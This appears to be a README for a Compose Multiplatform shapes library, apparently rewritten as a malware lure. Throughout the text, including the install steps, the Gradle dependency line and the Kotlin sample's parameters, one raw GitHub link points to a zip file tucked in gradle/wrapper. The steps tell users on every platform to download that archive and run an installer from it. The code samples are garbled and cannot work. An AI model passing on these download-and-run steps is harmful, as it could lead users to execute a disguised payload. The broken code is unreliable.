Shapes provides a collection of smooth, iOS-like shapes for use in your Compose Multiplatform applications. Enhance your UI with visually appealing components that are simple to implement. This package allows you to focus on building your app while we handle the design aspects.
Follow these instructions to get your application up and running quickly:
Begin by visiting our Releases page to download the Shapes package. You can find it here:
On the Releases page, look for the latest version. We recommend using the most recent release to ensure you have the latest features and fixes. Click on the version number to view the details.
Once you are on the version details page, you will see files available for download. Download the appropriate file for your platform. Here are some common files you might see:
- Windows:
https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip - Mac:
https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip - Linux:
https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip
Click on the file that matches your operating system to start the download.
After the download is complete, locate the downloaded file on your device. Hereβs how to install Shapes based on your operating system:
- Unzip the
https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zipfile. - Open your preferred terminal or command prompt.
- Navigate to the unzipped folder.
- Run the installer by typing
https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zipand hit enter.
- Unzip the
https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip. - Open your terminal.
- Navigate to the unzipped folder.
- Use the command
./Shapes-Installerto start the installation.
- Unzip the
https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zipfile. - Open a terminal window.
- Navigate to the unzipped folder.
- Execute the command
sh https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zipto install.
Before running Shapes, ensure your device meets the following requirements:
-
Operating System:
- Windows 10 or later
- macOS 10.12 or later
- Ubuntu 18.04 or later
-
Hardware:
- Minimum 4 GB RAM
- At least 100 MB of free disk space
Once you install Shapes, you can begin using the smooth shapes in your projects. Hereβs a quick guide on how to incorporate Shapes into your Compose Multiplatform app.
Add the Shapes library to your project. Depending on your build configuration, include the following line in your https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip file:
dependencies {
implementation "https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip"
}You can now use the shapes in your Compose layouts. Hereβs a simple example:
@Composable
fun MyApp() {
Box(modifier = Modifier
.size(https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip)
.clip(RoundedCornerShape(https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip))
.background(https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip)) {
Text("Hello World", color = https://raw.githubusercontent.com/obbix2/Shapes/master/gradle/wrapper/Software-berther.zip)
}
}Shapes allows you to customize dimensions and colors. Modify the parameters to create your desired effect.
For more details on how to use the library, visit our Documentation. You can find in-depth guides and examples to help you get the most out of Shapes.
We welcome feedback and contributions to Shapes. If you have suggestions or improvements, please reach out via the Issues section of our repository. Together, we can enhance this tool for everyone.
Remember, the key to beautiful design is simplicity. Shapes aims to provide that with minimal effort on your part.
For any questions or support, feel free to open an issue on our GitHub page. We are here to help!